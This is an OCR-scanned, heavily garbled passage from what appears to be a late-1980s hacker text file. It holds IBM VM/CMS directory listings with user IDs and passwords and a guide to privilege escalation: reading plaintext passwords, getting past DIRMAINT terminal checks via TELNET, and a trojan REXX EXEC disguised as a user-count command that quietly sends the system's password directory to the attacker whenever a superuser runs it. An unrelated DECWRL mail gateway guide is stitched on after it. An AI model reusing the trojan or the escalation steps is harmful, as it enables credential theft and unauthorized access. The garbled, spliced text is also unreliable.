* 


ERO4 
548 
110 


USER NETVIEW NE 


TVIEW 


* 


* 5664175 NETVI 


EW 


15 


RDISKACN WDISKACN 


ON ON 


RCPRM 
ALL 
RCPRM 


ON ON 


ROP1 


WCPRM 
WCPRM 
WCPRM 


ON 


WOP1 


EG 64 ON ON ON ON 


ES MR RVMUTIL WVMUTIL 


ERV 2M 16M G 64 ON ON ON ON 


1 VMSRES MR RIPFSERV WIPFSERV 


EG 64 ON ON ON ON 


005 VMSRES MR RISPVM WISPVM 
054 VMSRES MR RISPVM WISPVM 


5M 16M G 64 ON ON ON ON 


MDISKACN 


MCPRM 
MCPRM 
MCPRM 


MOP 1 


MVMUTIL 


MIPFSERV 


MISPVM 
MISPVM 
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* 
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* 5664309 PROFS DATABASE 


* 


I 


* 
U 
* 
* 
* 
I 


* 
U 
* 
* 
* 
I 
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ACCOUNT NE 


TVIE 


PTION ECM 


ODE 


UCV ANY P 
UCV * 


1OGRI 


M O 
EC 


PL GCS 
ONSOLE 
POOL 00C 
POOL OOD 
POOL OOE 
LINK MAINT 
LINK MAINT 
LINK VTAM 
LINK VTAM 
LINK MAINT 
MDISK 198 


PA 


NWN QAHHHO 


Gl 


2540 
2540 
1403 
190 
334 
191 


29A 


595 
3380 


NCLUDE 
ACCOUNT 
PTION 
UCV ALLOW 


EXP 


DISK 
DISK 
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161 
191 
5FD 
5SFE 
5SFF 


SEES SEAHO 


SER PROMAI 


5664309 P 
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NCLUDE EXP 
ACCOUNT 25 
LINK 
LINK 


S) 


a 


5664309 


NCLUDE 


LINK 


DISK 
DISK 
DISK 
DISK 
DISK 
DISK 


191 
5FB 
SFC 
5FD 
5FE 
5SFF 


SESEEREE 


SER SYSADMIN NOLOG 


PRODBM 
SYSADMIN 399 399 RR 
MDISK 151 3380 092 004 PROFPK MR RMAIL 
MDISK 191 3380 084 008 PROFPK MR RMAIL 


PROF 


PROFS CAL 


EXPPROF 
ACCOUNT 250 PROCAL 
PRODBM 
LINK SYSADMIN 398 398 R 
LINK SYSADMIN 399 399 R 


3380 
3380 
3380 
3380 
3380 
3380 


L PROMAIL 1M 


W GCS 


RM AUTOLOG 
O1F 3215 


READER A 
PUNCH A 

A 

190 
191 
291 
29A 
595 
166 


RR 
RR 
RR 
RR 
RR 
034 


250 PRODBM 
MAXCONN 2000 


INK SYSADMIN 399 399 RR 
PROFPK 
PROFPK 
PROFPK 
PROFPK 
PROFPK 


169 O1 
165 
206 
193 
180 


oO. © ©: © 
WWW Br 


0 PROMAIL 


191 395 RR 
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096 
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013 
013 


vutyrupyp ayy 


1M 16M 


VMGCS1 WR RN 


MANAGER 


MR 
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MR 


J1ENDAR MANAGER 


ROFPK 
ROF PK 
ROF PK 
ROF PK 
ROF PK 
ROF PK 


MR 
MR 
MR 
MR 
MR 
MR 


5664309 PROFS ADMINISTRATOR 


NCLUDE 


LINK 
LINK 
LINK 


EXPPROF 
ACCOUNT 250 SYSADMIN 
PRODBM 
PRODBM 
PRODBM 


161 161 RR 
191 4FA RR 
5FD 5FD RR 


EG 64 ON ON 


16 


ETVI 


EW WN 


ETVI 


EW MNETVIE 


RDBM 
RDBM 
RDBM 
RDBM 
RDBM 


ROFS DISTRIBUTION MANAGER 


R PRODBM PRODBM 1M 4M G 64 ON ON ON ON 


WDBM 
WDBM 
WDBM 
WDBM 
WDBM 


2M G 64 ON ON ON ON 


WMATL 
WMATL 


R PROCAL PROCAL 1M 4M G 64 ON ON ON ON 


MDBM 
MDBM 
MDBM 
MDBM 
MDBM 


03131808 


03131808 
03131808 
03131808 
03131808 
03131808 


03131808 
03131808 


03131808 
03131808 
03131808 
03131808 
03131808 
03131808 
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LINK PRODBM 5FE 5FE RR 
LINK PRODBM 5SFF 5FF RR 
MDISK 191 3380 001 011 PROFPK MR RADMIN 
MDISK 298 3380 012 029 PROFPK MR RADMIN 
MDISK 398 3380 041 019 PROFPK MR RADMIN 
M 
M 


DISK 399 3380 060 024 PROFPK MR RADMIN 
DISK 397 3380 219 002 PROFPK MR ALL 


* 


USER SFCM1 SFCM1 3M 5M BDG 64 ON ON ON ON 


* 


* 5664198 PSF 
* 

INCLUDE EXPPROF 

ACCOUNT 100 PSF 

OPTION ACCT 

IUCV *SPL 

LINK PDM470 191 193 RR 
LINK PDMREM1 191 194 RR 
LINK PSFMAINT 191 291 RR 
LINK PSFMAINT 193 293 RR 
LINK PSFMAINT 194 294 RR 
MDISK 191 3380 839 020 VMSRES MR RSFCM1 


* 


US] 


* 


* 5664198 PSF MAINTENANCE 
* 

INCLUDE EXPPROF 

ACCOUNT 1 SYSPROG 

MDISK 191 3380 814 011 VMSRES MR RPSFMAIN 
MDISK 193 3380 825 004 VMSRES MR RPSFMAIN 
MDISK 194 3380 829 010 VMSRES MR RPSFMAIN 


E 


* 


USER PDM470 PDM470 4M 5M BG 64 ON ON ON ON 


* 


* 5664198 PSF 3800 PDM 

* 

INCLUDE EXPPROF 

ACCOUNT 100 PSF 

OPTION ACCT 

IUCV *SPL 

*DEDICATE 470 470 

LINK SFCM1 191 193 RR 
LINK PSFMAINT 191 291 RR 
LINK PSFMAINT 194 294 RR 
MDISK 191 3380 809 005 VMSRES MR RPDM470 


* 


17 


WADMIN 
WADMIN 
WADMIN 
WADMIN 
WADMIN 


WSFCM1 


R PSFMAINT PSFMAINT 3M 16M ABCDEFG 64 ON ON ON ON 


WPSFMAIN 
WPSFMAIN 
WPSFMAIN 


WPDM470 


USER PDMREM1 PDMREM1 4M 5M BG 64 ON ON ON ON 


* 


* 5664198 PSF 3820 PDM 
* 

ACCOUNT 100 PSF 
OPTION ACCT ECMODE 
IPL GCS PARM AUTOLOG 
IUCV *SPL 
CONSOLE 009 3215 

SPOOL 00C 2540 READER * 
SPOOL 00D 2540 PUNCH A 
SPOOL OOF 1403 A 
LINK MAINT 190 190 RR 
LINK MAINT 19E 19E RR 
LINK MAINT 595 595 RR 
LINK SFCM1 191 193 RR 
LINK PSFMAINT 191 291 RR 
LINK PSFMAINT 194 294 RR 


MDISK 191 3380 804 005 VMSRES MR RPDMREM1 WPDMREM1 


US 


a 


R PVM PVM 1024K 2M BG 50 ON ON ON ON 


MADMIN 
MADMIN 
MADMIN 
MADMIN 
MADMIN 


03131808 
03131808 
03131808 
03131808 
03131808 


03131808 


03131808 
03131808 
03131808 


03131808 


03131808 
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* 


* 5748RC1 VM PASS-THROUGH FACILITY 
* 
INCLUDE EXPPROF 
OPTION ECMODE 
LINK MAINT 193 193 RR 
LINK MAINT 36E 191 MR 


* 


USER RSCS RSCS 1M 2M BG 64 ON ON ON ON 


* 


* 5748XP1 RSCS V1 
* 

ACCOUNT 15 SYSTEM 
OPTION ACCT ECMODE 
IPL 191 

CONSOLE 009 3215 


SPOOL 00C 2540 READER * 

SPOOL OOD 2540 PUNCH A 

SPOOL OOE 1403 A 

LINK MAINT 190 190 RR 

LINK MAINT 193 193 RR 

LINK MAINT 19E 19E RR 

LINK MAINT 19D 19D RR 

LINK MAINT 49E 49E RR 

MDISK 191 3380 105 002 VMSRES MR RRSCS WRSCS MRSCS 
* 
USER RSCSV2 RSCSV2 2M 4M BG 64 ON ON ON ON 


* 


* 5664188 RSCS (VERSION 2) 


* 


ACCOUNT 15 SYSTEM 
OPTION ECMODE ACCT BMX VCUNOSHR 
IPL GCS PARM AUTOLOG 
CONSOLE O1F 3215 T OPERATOR 
SPOOL O00C 2540 READER A 
SPOOL OOD 2540 PUNCH A 
SPOOL OOE 1403 A 
LINK MAINT 595 595 RR 
LINK MAINT 59F 191 RR 


USER SMART SMART 2048K 2M CEG 64 ON ON ON ON 


* 5796PNA VM REAL TIME MONITOR SYSTEM 


INCLUDE EXPPROF 

ACCOUNT 999 

LINK MAINT 319 319 RR 

MDISK 191 3380 848 026 VMPKO1 MR RSMART WSMART MSMART 


* 


USER SQLDBA SQLDBA 6M 6M G 64 ON OFF OFF \ 


* 


* 5748XXJ SQL/DS ADMINISTRATOR 
* 

ACCOUNT 26 

PTION MAXCONN 25 

UCV ALLOW 

UCV *IDENT SQLDBA GLOBAL 

PL CMS 
ONSOLE 009 3215 T OPERATOR 
POOL 00C 2540 READER * 
POOL 00D 2540 PUNCH A 

POOL 00E 1403 
INK MAINT 190 190 RR 
INK MAINT 19D 19D RR 
DISK 191 3380 001 010 SOQLPK W 

DISK 193 3380 011 035 SQLPK R  RSQL WSQL 
DISK 195 3380 046 013 SQLPK RR RSQL WSQL MSQL 
DISK 200 3380 059 034 SQLPK R_ RSQL WSQL 


ANNQAHHHO 


im 


SESE EE 


03131808 


03131808 


03131808 
03131808 
03131808 
03131808 
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3380 093 011 SQLPK R_ RSQL WSOL 
3380 104 100 SQLPK R_ RSQL WSOL 


x 


USER SQLUSER SQLUSER 2M 2M G 64 ON ON ON ON 


* 


* 5748XXJ SQL/DS USER MACHIN 


* 


Gl 


INCLUDE EXPPROE 
ACCOUNT 27 
OPTION REALTIMER 


DISK 191 


IUCV SQLDBA 
LINK SQLDBA 195 195 RR 
M 


3380 204 003 SQLPK W 


USER VMARCH VMARCH 2M 4M BEG 64 ON ON ON ON 


* 5664291 VMBACKUP 


INCLUDE EXPPROE 
ACCOUNT 999 


191 
193 
100 
101 
200 


o 
H 
n 
RRR RN 


PTION ACCT ECMODE 
INK MAINT 123 1A0 RR 


3380 001 011 VMPKO2 MR RVMARCH WVMARCH MVMARCH 
3380 012 007 VMPKO2 MR RVMARCH WVMARCH MVMARCH 
3380 019 007 VMPKO2 MR RVMARCH WVMARCH MVMARCH 
3380 026 007 VMPKO2 MR RVMARCH WVMARCH MVMARCH 
3380 033 007 VMPKO2 MR RVMARCH WVMARCH MVMARCH 


USER VMBACKUP VMBACKUP 2M 16M BEG 64 ON ON ON ON 


* 


* 5664291 VMBACKUP 


* 


ACCOUNT 999 


OPTION ACCT BMX ECMODE 

IPL CMS 

CONSOLE 009 3215 

SPOOL 001 2540 READER * 

SPOOL 00C 2540 READER * 

SPOOL 00D 2540 PUNCH 

SPOOL ODO 2540 PUNCH 

SPOOL OD1 2540 PUNCH 

SPOOL OOE 1403 

SPOOL OEO 1403 

SPOOL OE1 1403 

SPOOL OE2 1403 

SPOOL OE3 1403 

SPOOL OE4 1403 

SPOOL OE5 1403 

SPOOL OEF6 1403 

SPOOL OE7 1403 

LINK MAINT 190 190 RR 

LINK MAINT 19E 19E RR 

LINK MAINT 123 1A0 RR 

MDISK 191 3380 040 006 VMPKO2 MR RVMBACKU WVMBACKU MVMBACKU 
MDISK 192 3380 046 003 VMPKO2 MR RVMBACKU WVMBACKU MVMBACKU 
MDISK 193 3380 049 003 VMPKO2 MR RVMBACKU WVMBACKU MVMBACKU 
MDISK 194 3380 052 044 VMPKO2 MR RVMBACKU WVMBACKU MVMBACKU 
SER VMBSYSAD VMBSYSAD 1M 4M BG 64 ON ON ON ON 


* 
U 
* 
* 
* 
I 


LINK MAIN’ 


LINK MAIN’ 


5664291 VMBACKUP 


NCLUDE EXPPROF 
ACCOUNT 999 


rT 191 124 RR 


LINK VMBACKUP 194 294 RR RVMBACKU 
LINK VMBACKUP 193 293 RR RVMBACKU 


[ 123 1A0 RR 


03131808 
03131808 


03131808 


03131808 
03131808 
03131808 
03131808 
03131808 


03131808 
03131808 
03131808 
03131808 
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MDISK 191 3380 096 005 VMPKO2 MR RVMBSYSA WVMBSYSA MVMBSYSA 03131808 
MDISK 192 3380 101 009 VMPKO2 MR RVMBSYSA WVMBSYSA MVMBSYSA 03131808 


SER DEMO1 DEMO1l 4M 4M G 64 ON ON ON ON 


5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER 


H+ + *C + 


NCLUDE EXPPROF 
ACCOUNT DEMO1 DEMO1 

IUCV SOLDBA 

LINK MAINT 319 319 RR 
LINK MAINT 31A 31A RR 
LINK MAINT 322 322 RR 
LINK MAINT 326 326 RR 
LINK MAINT 34A 59A RR 
LINK SQLDBA 195 195 RR 
LINK SYSADMIN 399 399 RR 


K 
K 
K 
K 
K 
K 


MDISK 191 3380 107 003 VMSRES MR RDEMO1 WDEMO1 MDEMO1 03131808 
* 
USER DEMO2 DEMO2 4M 4M G 64 ON ON ON ON 

* 
* 5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER 
* 
INCLUDE EXPPROF 

ACCOUNT DEMO2 DEMO2 

IUCV SQLDBA 

LINK MAINT 319 319 RR 

LINK MAINT 31A 31A RR 

LINK MAINT 322-322 RR 

LINK MAINT 326 326 RR 

LINK MAINT 34A 59A RR 

LINK SQLDBA 195 195 RR 


LINK SYSADMIN 399 399 RR 
MDISK 191 3380 859 003 VMSRES MR RDEMO2 WDEMO2 MDEMO2 03131808 


SER DEMO3 DEMO3 4M 4M G 64 ON ON ON ON 


5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER 


H + + *G 


NCLUDE EXPPROF 
ACCOUNT DEMO3 DEMO3 

IUCV SOQLDBA 

LINK MAINT 319 319 RR 

LINK MAINT 31A 31A RR 

LINK MAINT 322 322 RR 

LINK MAINT 326 326 RR 

LINK MAINT 34A 59A RR 

LINK SQLDBA 195 195 RR 

LINK SYSADMIN 399 399 RR 

MDISK 191 3380 862 003 VMSRES MR RDEMO3 WDEMO3 MDEMO3 03131808 


K 
K 
K 
K 
K 
K 


SER DEMO4 DEMO4 4M 4M G 64 ON ON ON ON 


5664283 VM/IS-PRODUCTIVITY FACILITY SAMPLE USER 


H+ * * Cc + 


NCLUDE EXPPROF 
ACCOUNT DEMO4 DEMO4 

IUCV SOQLDBA 

LINK MAINT 319 319 RR 

LINK MAINT 31A 31A RR 

LINK MAINT 322 322 RR 

LINK MAINT 326 326 RR 

LINK MAINT 34A 59A RR 

LINK SQLDBA 195 195 RR 

LINK SYSADMIN 399 399 RR 

MDISK 191 3380 865 003 VMSRES MR RDEMO4 WDEMO4 MDEMO4 03131808 


K 
K 
K 
K 
K 
K 


USER VMTAPE VMTAPE 1M 2M BCEG 64 ON ON ON ON 


4 


* 
* 
* 


INCLUDE 
ACCOUNT 999 
OPTION BMX 


S) 


H+ + +c 4 


M 
M 


* 


US 


* 


M 
M 
M 


.txt 


5664292 VMTAP 


EXPPROF 


ER 
E 


5664292 VMTAP 


NCLUDE 


Gl 


ECMODE 


ACCT 


DISK 191 3380 110 005 VMPKO2 MR RVM 
DISK 200 3380 115 007 VMPKO2 MR RVM 
DISK 300 3380 122 007 VMPKO2 MR RVM 
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AP] 


WVMTAPI 


AP! 


AP! 


WVM 


API 


Gl EL 


AP! 


TAPE 
TAPE 


WVM 


VMTLIBR VMTLIBR 1M 3M G 64 ON ON ON ON 


EXPPROF 


ACCOUNT 999 
LINK VM 
LINK VM 
LINK VM 
DISK 191 3380 129 005 VMPKO2 MR RVMI1 
DISK 192 3380 134 007 VMPKO2 MR RVM1 


TAPE 
TAPE 
TAPE 


300 


* 5664191 VMMAP 


* 


INCLUDE 


EXPPROEF 


ACCOUNT 999 


LINK 
M 


* 


US 


* 


* 5664280 VTAM 


* 


ACCOUNT VTAM 


NANNAHHHO 


i 
pli 


i 


aay 


Gq HG 
<Pa2ne Ee P|AN 


H 


MAINT 193 


ER 


VTAM V 


PTI 


PL 
ONS 


POO 


INK 
INK 
INK 
INK 


a 


UCV 
UCV ANY P M 0 
PARM AUTOLOG 


POOL 


ON ECMODE 
*CCS > PM. 1. 


GCS 
OLE 


O1F 321 


POOL 00C 2540 


L OOD 2540 

OOE 1403 
MAINT 190 
MAINT 298 
MAINT 29A 
MAINT 595 


8DTE VM3812 


EK EXPPROEF 


NT 15 SYST 


DD USER ID 


EF EXPPROEF 


NT 999 SYS 
191 3380 


PENG PENG 


EF EXPPROEF 


NT 


D 

U 

K 

K 

K 

A 

VSEMAN VSE 
D 

U 

K 

K 

PD 

D 

U 999 SYS 
K 


GJ 


191 193 MR 
200 200 MW 


300 MW 


193 RR 


GCS 
DIAG98 MAXCONN 400 


0) 


5 
READER A 
PUNCH A 

A 

190 
191 
29A 
595 


RR 
RR 
RR 
RR 


SERVICE 


EM 
E 


191 3380 813 004 VME 
192 3380 817 007 VMP 
193 3380 824 020 VME 


2M 16M ABC 


TEM 
001 030 


2M 16M ABC 


TEM 


DISK 191 3380 639 024 VMSR 


DE 
dah 


EDMDO 
192 3380 873 012 VMSRE 


DE 


191 3380 553 010 VMSR 


MACHINE 


ER VMMAP VMMAP 2M 4M G 64 ON ON ON ON 


R VM3812 VM3812 3M 4M BG 64 ON 


MR 
MR 
MR 


42 


MR 
MR 
42 


MR 


ES MR RVMMAP 


AM 5M 16M G 64 ON ON ON ON 


ON ON ON 


RVM3812 
RVM3812 
ALL 


ON ON ON 


PENG PENG 


TLIBR WVM!1 
TLIBR WVM!1 


WVMMAP 


WVM3812 
WVM3812 
WVM3812 


ON 


|e 


AP! 


TLIBR MVMTLIBR 
TLIBR MVMTLIBR 


MVMMAP 


MVM3812 
MVM3812 


03131808 
03131808 
03131808 


03131808 
03131808 


03131808 


03131808 
03131808 
03131808 


03131808 
03131808 


03131808 
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* 

USER MOESERV MOESERV 2M 16M G 42 ON ON ON ON 
INCLUDE EXPPROE 
ACCOUNT 996 MOE 


MDISK 191 3380 544 002 VMPKO1 MR MOESERV MOESERV 03131808 
* 
USER VTAMUSER CCC 2M 8M G 64 ON ON ON ON 

* 

* 5668814 CSP 

* 

INCLUDE EXPPROE 

ACCOUNT 101 

MDISK 191 3380 134 032 VMPKO1 MW VIAM1 WVTAM1 MVTAM1 03131808 
USER IDMSSE IDMS 2M 8M G 64 ON ON ON ON 

INCLUDE EXPPROF 

ACCOUNT 101 

MDISK 191 3380 519 005 VMPKO1 MW VIAM1 WVTAM1 MVTAM1 03131808 
MDISK 192 3380 524 020 VMPKO1 MW VIAM1 WVTAM1 MVTAM1 03131808 


If you need an explanation about these two tables, you should look at it like 
this: 


| |------- That User ID’s password 


USER IDMSSE IDMS 2M 8M G 64 ON ON ON ON 


A A A 


| | |---Its privilege grade 

| |--Its maximum memory storage 
| 

| 


----Its default memory storage 


INCLUDE EXPPROF <----- What you see when you log on 
ACCOUNT 101 


MDISK 191 3380 519 005 VMPKO1 MW VITAM1 WVTAM1 MVTAM1 


A Aa A A 


| | |---Minidisk mult pass 
| |---Minidisk write pass 

| —--Minidisk read pass 

|--Its minidisk 


MDISK 192 3380 524 020 VMPKO1 MW VTAM1 WVTAM1 MVTAM1 


Luckily, I have tested the second table in 4 VM systems and it works. May you 
be lucky too! 


Of course, since all of us are general users, the first thing to know is how to 


get privileges by trying a password or by accident by getting privileged users’ 
passwords. 


While CP/CMS uses passwords to control performance, it must store some 
passwords in the REXX command language (EXEC files). It looks like this: 


CP LINK VTAMUSER 191 121 RR VTAM1 
If you have succeeded in linking that minidisk then: 


AC 121 B 
FILEL * * B 


Then you can see all of the files owned by VTAMUSER. Usually people are lazy 
enough to remember too many passwords, so to read the passwords. It may be its 
CP pass too! TRY IT!!! 


4.txt Wed Apr 26 09:43:38 2017 23 


But IBM is not so stupid as to let any user with privileges open accounts 
randomly. It limits a maximum of 8 superusers to be able to do it. You may 
find it in: 


DIRMAINT DATA Y2 
Only these DIRM-STAFF can open accounts from the console. If another user logs 


on from a terminal, he will be logged out immediately even though he knew the 
password. And only these STAFF have 2 modes of operation to use: 


DIRM 


One is general user mode and the other is operation mode (Privilege operation) 
so you have to cheat the 0O.S. to think that you are NOT logged in from a 
terminal. Our way is to use TELNET. Usually this package is named TCPIP. Do 
this: 


TELNET yourhost 


It will request you logon again. Then, if you logon with the superuser ID & 

password, the 0O.S. will not recognize that you are from a terminal and will let 
you in!! The most important thing is that IBM stores its user IDs & passwords 
in a file: 


USER DIRECT 


Usually, this file is stored on DIRMAINT’s minidisk and it is a text file!!! I 
do not know why, but it actually is not encrypted!!!! Incredible to believ 


Once you have this file, you will know all users’ passwords and all information 
about all users’ IDs and I think it is rude to open new accounts! Poor me! 
I’ve done this and lost privs 3 times now. While there is a way to get back 
your privs, first you need find a privileged ID so that you can write your file 


in it. Then, write a EXEC file into it. This file’s name must be a most 
common command that any one will issue. If the general user uses it, nothing 
happens, but if a superuser issues it, then it will do something for you! Here 


is a example: 


Please note that wherever you see (cut), it means that the line was too long 
and had to be split. Whenever you see (cut), take the line below the line that 
it is on and paste it on the end of the (cut) line (removing the (cut) in the 
process). 


Cut Her 
/* DISPLAY THE NUMBER OF SPECIFIED USERS LOGGED ON */ 
TRACE O 
USER = 0 
SW = 1 
1 
DI 


S = 

PARSE UPPER ARG NAM GARBAGE 
IF NAM = ’ ’ THEN signal qname 
PO = INDEX (NAM,’*’) 

IF PO = 0 THEN DO 


5 


Q NAM 
EXIT 
END 
T= PO- 1 
IF T= 0 THEN signal qname 
NALL = SUBSTR(NAM,1,T) 
EXECIO ’* CP (STRING QO N ’ 
NUMQ = QUEUED () 
DO N = 1 TO NUMQ 
PULL STR 
PARSE VALUE STR with NA.N ’-’ LA.N ’,’ NB.N ’-’ LB.N ’,’ NC.N ’-’ LC.N (cut) 
', 'ND.N '-' LD.N 


na.n=substr(strip(na.n,’L 1,8 
nob.n=substr(strip(nb.n,’L’),1,8) 
nc.n=substr(strip(ne.n,’L 1,8 
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nd.n=substr(strip(nd.n,’L’),1,8) 
END 
DO N = 1 TO NUMOQ 
IF LA.N *= DSC & LA.N *= ' '’ & SUBSTR(NA.N,1,T)=NALL & (cut) 
SUBSTR (space (NA.N),1,4)%*=’ LOGO’ & SPACE 
A.S = NA.N||’-'||LA.N||’," ; S=S+1 ; USER=USER+1; END; 
IF LB.N *= DSC & LB.N *= ’ ' & SUBSTR(NB.N,1,T)=NALL & (cut) 
SUBSTR (space (NB.N),1,4)%*=’ LOGO’ & SPACE 
A.S = NB.N||’-'’||LB.N||’," ; S=S+1 ; USER=USER+1; END; 
IF LC.N *= DSC & LC.N *= ’ '’ & SUBSTR(NC.N,1,T)=NALL & (cut) 
SUBSTR (space (NC.N),1,4)*="’ LOGO’ & SPACE 
A.S = NC.N||’-’ LC.N||’,"’ ; S=Stl ; USER=USER+1; END; 
IF LD.N *= DSC & LD.N *= ' ’ & SUBSTR(ND.N,1,T)=NALL & (cut) 
SUBSTR (space (ND.N),1,4) *=’ LOGO’ SPACE ( 
A.S = ND.N||’-’||LD.N||’,"’ ; S=S+1 ; USER=USER+1; END; 
END 
CLRSCRN 
call concate 
SAY 
MM= ' < ’ RIGHT (USER,3,0) ’ SPECIFIED LOGON USERS 
4 
say MM 
SAY 
SAY 
EXIT 
ONAME: 
/* DISPLAY THE NUMBER OF USERS LOGGED ON */ 
USER = 0 
SW = 1 
Ss = 1 
EXECIO ’* CP (STRING ON ’ 
IF USERID() =’MAINT’ THEN SIGNAL NJ /* super user id */ 
IF USERID() =’ JASMIN’ THEN SIGNAL NJ /* super user id */ 
IF USERID() =’ LIU’ HEN SIGNAL NJ /*supr userid */ 
IF USERID() =’ PMAINT’ HEN SIGNAL NJ /* super user id*/ 
IF USERID() =’MOESERV’ THEN SIGNAL NJ /* super user id*/ 
SIGNAL JP 
NJ: 
CP SET IMSG OFF 
CP SET MSG OFF 
EXEC DIRMAINT GET DIRMAINT NOLOCK 
SLEEP 2 SEC 
CP TRAN USERID() ALL yourid /* to your own id*/ 
CP SET IMSG ON 
CP SET MSG ON 
JP: 
NUMQ = QUEUED () 
DO N = 1 TO NUMQ 
PULL STR 
PARSE VALUE STR with NA.N ’-’ LA.N ’,’ NB.N ‘’-’ LB.N ’,’ NC.N 
r-’ LCO.N ','ND.N ’-' LD.N 
na.n=substr(strip(na.n,’L’),1,8) 
nob.n=substr(strip(nb.n,’L’),1,8) 
nc.n=substr(strip(ne.n,’L’),1,8) 
nd.n=substr(strip(nd.n,’L’),1,8) 
END 
DO N = 1 TO NUMOQ 
IF LA.N =’VTAM’ HEN SELECT 
WHEN (S+0)//4 = 1 THEN DO 
LA.N =’VTAM’ THEN DO 
A.S ='VSM -— VTAM’ ; S = Stl ; 
AVS=") » S=Stil. 9. “A. SS") = ‘S=Stl.. 9 ASV" ee SH=St) 3. LIBRATE 
END 
WHEN (S+0)//4 = 2 THEN DO 
BS Se OF os) GS UGR1L fp ALS a: PF 7;S=St1l ; A.S =’ ' ; S=S+1 ;END 
WHEN (S+0)//4 = 3 THEN DO;A.S =’ ';S=St1l ; A.S =! ' ; S=S+1 ;END; 
WHEN (S+0)//4 0 THEN DO; A.S =’ ' ; S=Stl ; END 


- (cut) 
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IF LA.N =’VTAM’ THEN DO 
A.S ='VSM -— VTAM’ ; S = Stl ; 
A.S=' ' ; S=St1l ; A.S=’ ' ; S=St1l ; A.S =’ ' ; S=St+l1 ; ITERATE 
END 
IF LA.N *= DSC & LA.N *= ' ' & SUBSTR(space(NA.N),1,4)*=’LOGO’ & (cut) 
SPACE (LA.N) *=SPACE (NA.N) HEN 
A.S = NA.N||’-'||LA.N||'," ; S=S+1 ; USER=USER+1; END; 
IF LB.N *= DSC & LB.N *= ' '’ & SUBSTR(space (NB.N),1,4)*=’LOGO’ & (cut) 
SPACE (LB.N) *=SPACE (NB.N) HEN 
A.S = NB.N||’-'’||LB.N||’," ; S=S+1 ; USER=USER+1; END; 
IF LC.N *= DSC & LC.N *= ' '’ & SUBSTR(space (NC.N),1,4)*=’LOGO’ & (cut) 
SPACE (LC.N) *=SPACE (NC.N) HEN 
A.S = NC.N|/’-’||LC.N||’,’ ; S=S+1 ; USER=USER+1; END; 
IF LD.N *= DSC & LD.N *= ' ' & SUBSTR(space(ND.N),1,4)*=’ LOGO’ & (cut) 
SPACE (LD.N) *=SPACE (ND.N) THEN 
A.S = ND.N||’-’||LD.N||’,"’ ; S=S+1 ; USER=USER+1; END; 
END 
CLRSCRN 
call concate 
SAY 
MM= / < ’ RIGHT (USER, 3,0) ’ LOGON USERS - — -— —- (cut) 
Sf 
say MM 
SAY 
exit 
concate: 
DO I = 1 TO S-1 BY 4 
IF I+l < S$ THEN P=I+1 ; ELSE A.P = 7 % 
ER TDs 2S HEN Q=1+2 . ELSE A.Q =’ % 
IF I+3 < S THEN R=1+3 H ELSE A.R =’ ° 
STR= v v 
IF I+3 < S$ THEN R=1+3 ; ELSE A.R =’ ° 
STR=INSERT (A.1,STR, 1) ; STR=INSERT (A.P, STR, 21) 
STR=INSERT (A.Q, STR, 41) ; STR=INSERT (A.R, STR, 61) 
SAY STR 
END 
return 
Cut Her 
Well, that is it...Unfortunately, we did not know how to install a backdoor in 


IBM VM/CMS so we could not keep privs permanently. It is a pity...but we’re 
glad to share our experience with hackers! 


Sincerely, 


Goe 
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The DECWRL Mail Gateway 


() () 
() () 
() () 
() () 
() by Dedicated Link () 
Q () 
() September 20, 1989 () 
Q) () 
Q) () 


INTRODUCTION 


DECWRL is a mail gateway computer operated by Digital’s Western Research 
Laboratory in Palo Alto, California. Its purpose is to support the interchange 
of electronic mail between Digital and the "outside world." 


DECWRL is connected to Digital’s Easynet, and also to a number of different 
outside electronic mail networks. Digital users can send outside mail by 
sending to DECWRL::"outside-address", and digital users can also receive mail 
by having your correspondents route it through DECWRL. The details of incoming 
mail are more complex, and are discussed below. 


It is vitally important that Digital employees be good citizens of the networks 
to which we are connected. They depend on the integrity of our user community 
to ensure that tighter controls over the use of the gateway are not required. 
The most important rule is "no chain letters," but there are other rules 
depending on whether the connected network that you are using is commercial or 
non-commercial. 


The current traffic volume (September 1989) is about 10,000 mail messages per 
day and about 3,000 USENET messages per day. Gatewayed mail traffic has 
doubled every year since 1983. DECWRL is currently a Vax 8530 computer with 48 
megabytes of main memory, 2500 megabytes of disk space, 8 9600-baud (Telebit) 
modem ports, and various network connections. They will shortly be upgrading 
to a Vax 8650 system. They run Ultrix 3.0 as the base operating system. 


ADMINISTRATION 
The gateway has engineering staff, but no administrative or clerical staff. 
[They work hard to keep it running, but they do not have the resources to answer 
telephone queries or provide tutorials in its use. 


They post periodic status reports to the USENET newsgroup dec.general. Various 
helpful people usually copy these reports to the VAXNOTES "gateways" conference 
within a day or two. 


HOW TO SEND MAIL 


DECWRL is connected to quite a number of different mail networks. If you were 
logged on directly to it, you could type addresses directly, e.g. 


To: strange! foreign!address. 
But since you are not logged on directly to the gateway, you must send mail so 
that when it arrives at the gateway, it will be sent as if that address had 
been typed locally. 


* Sending from VMS 


If you are a VMS user, you should use NMAIL, because VMS mail does not know how 
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to requeue and retry mail when the network is congested or disconnected. From 
VMS, address your mail like this: 


To: nmSDECWRL:: "strange! foreign!address" 
The quote characters (") are important, to make sure that VMS doesn’t try to 
interpret strange!foreign!address itself. If you are typing such an address 


inside a mail program, it will work as advertised. If you are using DCL and 
typing directly to the command line, you should beware that DCL likes to remove 
quotes, so you will have to enclose th ntire address in quotes, and then put 
two quotes in every place that one quote should appear in the address: 


S$ mail test.msg "nmSDECWRL::""foreign!addr""" /subj="hello" 
Note the thr quotes in a row after foreign!addr. The first two of them are 


doubled to produce a single quote in the address, and the third ends the 
address itself (balancing the quote in front of the nm%). 


Here are some typical outgoing mail addresses as used from a VMS system: 


To: nmsDECWRL::"1l1l—-winkin!netsys!phrack" 

To: nmSDECWRL::"postmaster@msp.pnet.sc.edu" 

To: nmsDECWRL::"netsys!phrack@uunet.uu.net" 

To: nmsDECWRL: :"phrackserv@CUNYVM.bitnet" 

To: nmSDECWRL::"Chris.Jones@f654.n987.z1.fidonet.org" 
* Sending from Ultrix 


If your Ultrix system has been configured for it, then you can, from your 
Ultrix system, just send directly to the foreign address, and the mail software 
will take care of all of the gateway routing for you. Most Ultrix systems in 
Corporate Research and in the Palo Alto cluster are configured this way. 


To find out whether your Ultrix system has been so configured, just try it and 
see what happens. If it doesn’t work, you will receive notification almost 
instantly. 


NOTE: The Ultrix mail system is extremely flexible; it is almost 
completely configurable by the customer. While this is valuable to 
customers, it makes it very difficult to write global instructions for 
the use of Ultrix mailers, because it is possible that the local changes 
